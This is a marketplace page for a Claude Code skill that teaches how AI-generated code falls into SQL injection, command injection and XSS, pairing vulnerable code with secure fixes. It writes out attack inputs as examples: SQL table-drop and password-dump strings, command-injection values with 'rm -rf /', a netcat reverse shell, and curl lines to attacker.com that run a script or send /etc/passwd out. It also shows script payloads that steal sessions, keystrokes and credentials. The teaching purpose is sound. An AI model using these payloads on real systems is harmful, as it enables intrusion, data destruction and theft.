Claude Code Plugins

Community-maintained marketplace

Feedback

injection-vulnerabilities-ai-generated-code

@harperaa/secure-claude-skills
0
0

Understand how AI generates SQL injection, command injection, and XSS vulnerabilities. Use this skill when you need to learn about injection attack patterns in AI code, see real-world examples of injection vulnerabilities, understand why AI generates insecure database queries, or recognize vulnerable code patterns. Triggers include "SQL injection AI", "command injection", "XSS vulnerabilities", "injection attacks", "AI database queries", "shell injection", "cross-site scripting AI code".

Install Skill

1Download skill
2Enable skills in Claude

Open claude.ai/settings/capabilities and find the "Skills" section

3Upload to Claude

Click "Upload skill" and select the downloaded ZIP file

Note: Please verify skill by going through its instructions before using it.

SKILL.md

name injection-vulnerabilities-ai-generated-code
description Understand how AI generates SQL injection, command injection, and XSS vulnerabilities. Use this skill when you need to learn about injection attack patterns in AI code, see real-world examples of injection vulnerabilities, understand why AI generates insecure database queries, or recognize vulnerable code patterns. Triggers include "SQL injection AI", "command injection", "XSS vulnerabilities", "injection attacks", "AI database queries", "shell injection", "cross-site scripting AI code".

Input Validation and Injection Vulnerabilities in AI-Generated Code

The Prevalence of Injection Flaws

Input validation vulnerabilities represent the most common security flaw in AI-generated code. According to a 2025 report from Contrast Security:

"Input validation is often overlooked or implemented incorrectly in AI-generated code, creating openings for injection attacks that can compromise entire systems."

The AI's training on millions of code examples, many containing outdated or insecure patterns, perpetuates these vulnerabilities.

1.1.1 SQL Injection Vulnerabilities

The Problem

SQL injection remains one of the most critical vulnerabilities in AI-generated code. Research from Aikido Security found that when prompted to create database query functions, AI assistants produced vulnerable code in 68% of cases.

AI-Generated Vulnerable Code

# Prompt: "Create a user search function with database"
def search_users(search_term, role=None):
    # ❌ VULNERABLE: Direct string concatenation
    query = f"SELECT * FROM users WHERE name LIKE '%{search_term}%'"

    if role:
        # ❌ VULNERABLE: Multiple injection points
        query += f" AND role = '{role}'"

    cursor.execute(query)
    return cursor.fetchall()

# Attack vector:
# search_term = "'; DROP TABLE users; --"
# Resulting query: SELECT * FROM users WHERE name LIKE '%'; DROP TABLE users; --%'

Secure Implementation

def search_users_secure(search_term, role=None):
    # ✅ SECURE: Parameterized queries prevent injection
    if role:
        query = "SELECT * FROM users WHERE name LIKE %s AND role = %s"
        params = (f"%{search_term}%", role)
    else:
        query = "SELECT * FROM users WHERE name LIKE %s"
        params = (f"%{search_term}%",)

    cursor.execute(query, params)
    return cursor.fetchall()

Why AI Generates This Vulnerability

1. Training Data Contamination:

  • Millions of code examples use string concatenation
  • Older tutorials show f-strings/string formatting for queries
  • AI learns these patterns as "normal"

2. Simplicity Bias:

  • String concatenation is simpler to generate
  • Parameterized queries require understanding database driver specifics
  • AI defaults to "easiest" solution

3. Lack of Security Context:

  • AI doesn't understand SQL injection attacks
  • Can't reason about malicious input
  • Focuses on functional correctness, not security

What Makes It Vulnerable

Direct String Interpolation:

f"SELECT * FROM users WHERE name = '{user_input}'"

The Problem:

  • User input directly embedded in SQL string
  • No separation between code and data
  • Attacker can inject SQL commands

Attack Examples:

# Normal use:
search_term = "John"
# Query: SELECT * FROM users WHERE name LIKE '%John%'
# ✓ Returns users named John

# Attack 1: Table drop
search_term = "'; DROP TABLE users; --"
# Query: SELECT * FROM users WHERE name LIKE '%'; DROP TABLE users; --%'
# ✗ Deletes entire users table

# Attack 2: Data exfiltration
search_term = "' UNION SELECT password FROM admin WHERE '1'='1"
# Query: SELECT * FROM users WHERE name LIKE '%' UNION SELECT password FROM admin WHERE '1'='1%'
# ✗ Exposes admin passwords

# Attack 3: Bypass authentication
search_term = "' OR '1'='1"
# Query: SELECT * FROM users WHERE name LIKE '%' OR '1'='1%'
# ✗ Returns all users (always true condition)

Real-World Impact

Equifax Breach (2017):

  • SQL injection vulnerability exploited
  • 147 million records compromised
  • Social security numbers, birth dates, addresses exposed
  • Settlement: $575 million

1.1.2 Command Injection Vulnerabilities

The Problem

A 2024 analysis by SecureLeap found that AI models frequently generate code vulnerable to command injection, particularly when dealing with system operations. The models often default to:

  • Using shell=True in subprocess calls
  • Direct string concatenation in system commands
  • No input validation before shell execution

AI-Generated Vulnerable Code

// Prompt: "Create an image conversion API endpoint"
const { exec } = require('child_process');

app.post('/convert-image', (req, res) => {
    const { inputFile, outputFormat, quality } = req.body;

    // ❌ VULNERABLE: Unvalidated user input in shell command
    const command = `convert ${inputFile} -quality ${quality} output.${outputFormat}`;

    exec(command, (error, stdout, stderr) => {
        if (error) {
            return res.status(500).json({ error: error.message });
        }
        res.json({ success: true, output: `output.${outputFormat}` });
    });
});

// Attack vector:
// inputFile = "test.jpg; curl http://attacker.com/shell.sh | bash"

Secure Implementation

const { spawn } = require('child_process');
const path = require('path');

app.post('/convert-image', (req, res) => {
    const { inputFile, outputFormat, quality } = req.body;

    // ✅ SECURE: Input validation
    if (!/^[a-zA-Z0-9_\-]+\.(jpg|png|gif)$/.test(inputFile)) {
        return res.status(400).json({ error: 'Invalid input file' });
    }

    if (!['jpg', 'png', 'webp'].includes(outputFormat)) {
        return res.status(400).json({ error: 'Invalid output format' });
    }

    const qualityNum = parseInt(quality, 10);
    if (isNaN(qualityNum) || qualityNum < 1 || qualityNum > 100) {
        return res.status(400).json({ error: 'Invalid quality value' });
    }

    // ✅ SECURE: Use spawn with argument array
    const convert = spawn('convert', [
        path.basename(inputFile),
        '-quality', qualityNum.toString(),
        `output.${outputFormat}`
    ]);

    convert.on('close', (code) => {
        if (code !== 0) {
            return res.status(500).json({ error: 'Conversion failed' });
        }
        res.json({ success: true, output: `output.${outputFormat}` });
    });
});

Why AI Generates This Vulnerability

1. exec() is Simpler:

  • Single function call vs spawn() configuration
  • AI defaults to simpler API
  • exec() allows shell syntax (pipes, redirects)

2. String Interpolation Habit:

  • Consistent with other code patterns
  • AI sees millions of examples using template strings
  • Doesn't recognize security boundary

3. No Input Validation in Training Data:

  • Many examples skip validation for brevity
  • Tutorial code focuses on functionality
  • Security controls added separately (if at all)

Attack Scenarios

Attack 1: Command Chaining

inputFile = "image.jpg; rm -rf /"
// Executes: convert image.jpg -quality 80 output.jpg; rm -rf /
// Deletes entire file system

Attack 2: Reverse Shell

inputFile = "image.jpg; nc attacker.com 4444 -e /bin/bash"
// Opens reverse shell to attacker
// Attacker gains shell access to server

Attack 3: Data Exfiltration

inputFile = "image.jpg; curl -X POST https://attacker.com/data -d @/etc/passwd"
// Sends sensitive files to attacker

Key Security Principles

exec() vs spawn():

Feature exec() spawn()
Shell Always uses shell No shell by default
Security ❌ Dangerous ✅ Safe
Arguments String (injectable) Array (not injectable)
Use case Never with user input Preferred for all cases

1.1.3 Cross-Site Scripting (XSS) Vulnerabilities

The Problem

According to research from KDnuggets:

"AI assistants often miss proper output encoding, creating XSS vulnerabilities that can lead to session hijacking and data theft."

The problem is particularly acute in template generation and dynamic HTML creation.

AI-Generated Vulnerable Code

// Prompt: "Create a comment display system"
app.get('/comments/:postId', async (req, res) => {
    const comments = await getComments(req.params.postId);

    let html = `
        <div class="comments">
            <h2>Comments</h2>
    `;

    comments.forEach(comment => {
        // ❌ VULNERABLE: Direct interpolation of user content
        html += `
            <div class="comment">
                <strong>${comment.author}</strong>
                <p>${comment.content}</p>
                <small>${comment.timestamp}</small>
            </div>
        `;
    });

    html += '</div>';
    res.send(html);
});

// Attack vector:
// comment.content = "<script>fetch('/api/session').then(r=>r.text()).then(t=>fetch('https://attacker.com?token='+t))</script>"

Secure Implementation

const escapeHtml = require('escape-html');

app.get('/comments/:postId', async (req, res) => {
    const comments = await getComments(req.params.postId);

    let html = `
        <div class="comments">
            <h2>Comments</h2>
    `;

    comments.forEach(comment => {
        // ✅ SECURE: HTML escaping prevents XSS
        html += `
            <div class="comment">
                <strong>${escapeHtml(comment.author)}</strong>
                <p>${escapeHtml(comment.content)}</p>
                <small>${escapeHtml(comment.timestamp)}</small>
            </div>
        `;
    });

    html += '</div>';

    // ✅ SECURE: Set proper Content-Type and CSP headers
    res.set('Content-Type', 'text/html; charset=utf-8');
    res.set('Content-Security-Policy', "default-src 'self'; script-src 'self'");
    res.send(html);
});

Why AI Generates This Vulnerability

1. Template String Convenience:

  • JavaScript template literals are convenient
  • AI uses them consistently across codebase
  • Doesn't distinguish between trusted and untrusted content

2. Missing Context Awareness:

  • AI doesn't recognize when content comes from users
  • Can't reason about XSS attack vectors
  • Focuses on displaying data, not securing it

3. Training on Frontend Frameworks:

  • Modern frameworks (React, Vue) auto-escape
  • AI extends this pattern to manual HTML generation
  • Forgets that manual HTML requires manual escaping

XSS Attack Scenarios

Attack 1: Session Theft

comment.content = `
<script>
  fetch('/api/session')
    .then(r => r.json())
    .then(data => {
      fetch('https://attacker.com/steal', {
        method: 'POST',
        body: JSON.stringify(data)
      });
    });
</script>
`
// Steals session data from other users viewing comments

Attack 2: Credential Harvesting

comment.content = `
<script>
  document.body.innerHTML += '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"><form action="https://attacker.com/phish"><h2>Session Expired - Please Login</h2><input name="username"><input type="password" name="password"><button>Login</button></form></div>';
</script>
`
// Shows fake login form, steals credentials

Attack 3: Keylogger Injection

comment.content = `
<script>
  document.addEventListener('keydown', e => {
    fetch('https://attacker.com/keys?key=' + e.key);
  });
</script>
`
// Logs every keystroke, sends to attacker

Real-World XSS Consequences

British Airways (2018):

  • XSS vulnerability allowed attackers to inject payment card harvesting script
  • 380,000 transactions compromised
  • £20 million fine under GDPR

MySpace Samy Worm (2005):

  • XSS vulnerability allowed self-propagating script
  • Added attacker as friend to over 1 million profiles in 20 hours
  • While mostly harmless (just adding friends), demonstrated potential
  • Same technique could have stolen credentials or payment data

Summary: Why AI Fails at Injection Prevention

Common Patterns Across All Injection Types

1. Direct String Interpolation:

  • SQL: f"SELECT * FROM users WHERE id = {user_id}"
  • Shell: exec(f"convert {filename}")
  • HTML: html +=
    ${user_content}
    ``

2. Missing Input Validation:

  • No type checking
  • No format validation
  • No length limits
  • No character whitelisting

3. Lack of Security Functions:

  • SQL: No parameterized queries
  • Shell: No argument arrays (spawn vs exec)
  • HTML: No escape functions

4. Training Data Bias:

  • Millions of examples without security
  • Tutorial code skips validation
  • AI learns insecure patterns as "normal"

How to Recognize Vulnerable AI Code

Red Flags - SQL Injection

String formatting in queries:

query = f"SELECT * FROM {table} WHERE {field} = '{value}'"
query = "SELECT * FROM users WHERE id = " + str(user_id)
query = f"INSERT INTO users VALUES ('{name}', '{email}')"

Parameterized queries:

query = "SELECT * FROM users WHERE name = %s AND role = %s"
cursor.execute(query, (name, role))

Red Flags - Command Injection

exec() with user input:

exec(`command ${userInput}`)
exec("command " + userInput)
os.system(f"command {user_input}")  // Python

spawn() with argument array:

spawn('command', [arg1, arg2, arg3])
subprocess.run(['command', arg1, arg2])  // Python

Red Flags - XSS

Direct interpolation in HTML:

html += `<div>${userContent}</div>`
html = "<p>" + comment + "</p>"
innerHTML = userData.bio

Escaped output:

html += `<div>${escapeHtml(userContent)}</div>`
// Or use framework auto-escaping (React, Vue)

Implementation: Fixing Injection Vulnerabilities

For this Next.js + Convex project, use these secure patterns:

SQL/NoSQL Injection Prevention

In Convex mutations:

// convex/users.ts
import { mutation } from "./_generated/server";
import { v } from "convex/values";

export const searchUsers = mutation({
  args: {
    searchTerm: v.string(),
    role: v.optional(v.string())
  },
  handler: async (ctx, args) => {
    // ✅ Convex uses type-safe queries (no SQL injection possible)
    let query = ctx.db.query("users");

    if (args.role) {
      query = query.filter(q => q.eq(q.field("role"), args.role));
    }

    // Convex handles escaping automatically
    return await query.collect();
  }
});

Key Point: Convex's type-safe query builder prevents SQL injection by design. You can't inject SQL because you're not writing SQL—you're using TypeScript methods.

Command Injection Prevention

Avoid shell commands entirely in Next.js:

// ❌ Don't do this in Next.js API routes
import { exec } from 'child_process';

export async function POST(req: NextRequest) {
  const { filename } = await req.json();
  exec(`convert ${filename} output.jpg`); // VULNERABLE
}

If you must use system commands:

import { spawn } from 'child_process';

export async function POST(req: NextRequest) {
  const { filename } = await req.json();

  // ✅ Validate input first
  if (!/^[a-zA-Z0-9_\-]+\.(jpg|png)$/.test(filename)) {
    return NextResponse.json({ error: 'Invalid filename' }, { status: 400 });
  }

  // ✅ Use spawn with array (no shell)
  const convert = spawn('convert', [filename, 'output.jpg']);

  return new Promise((resolve) => {
    convert.on('close', (code) => {
      if (code === 0) {
        resolve(NextResponse.json({ success: true }));
      } else {
        resolve(NextResponse.json({ error: 'Conversion failed' }, { status: 500 }));
      }
    });
  });
}

XSS Prevention

Use built-in validation schemas:

import { validateRequest } from '@/lib/validateRequest';
import { safeTextSchema, safeLongTextSchema } from '@/lib/validation';

export async function POST(req: NextRequest) {
  const body = await req.json();

  // ✅ Automatically removes < > " & (XSS characters)
  const validation = validateRequest(safeLongTextSchema, body.comment);

  if (!validation.success) {
    return validation.response;
  }

  const safeComment = validation.data; // XSS characters removed

  // Store and display safely
  await db.comments.insert({ content: safeComment });
}

React auto-escapes output:

// ✅ React escapes automatically
<div>{userComment}</div>

// ❌ dangerouslySetInnerHTML bypasses escaping
<div dangerouslySetInnerHTML={{__html: userComment}} />  // Don't do this!

Statistics Summary

Vulnerability Rates in AI-Generated Code

Vulnerability Type Occurrence Rate Source
SQL Injection 68% Aikido Security (2025)
Command Injection ~60% SecureLeap (2024)
XSS 35% KDnuggets (2025)
Overall Injection 45% Veracode (2024)

Cost of Injection Vulnerabilities

Equifax SQL Injection (2017):

  • 147 million records breached
  • $575 million settlement
  • Reputation damage immeasurable

British Airways XSS (2018):

  • 380,000 transactions compromised
  • £20 million GDPR fine
  • Customer trust severely damaged

See Also

Implementation Skills (How to Fix)

input-validation skill - Complete Zod schema validation and XSS sanitization → security-testing skill - Test for injection vulnerabilities → security-overview skill - Defense-in-depth architecture

Related Awareness Skills

auth-vulnerabilities skill - Authentication bypass via injection → information-leakage skill - Error messages revealing injection points

Key Takeaways

68% of AI-generated database queries have SQL injection vulnerabilities ✅ AI defaults to simple, insecure patterns (string concatenation, exec, no validation) ✅ Real-world breaches prove injection vulnerabilities are existential threats ✅ Solution: Use type-safe query builders (Convex), validation schemas (Zod), and avoid shell commands ✅ Testing: Always test with malicious input ('; DROP TABLE,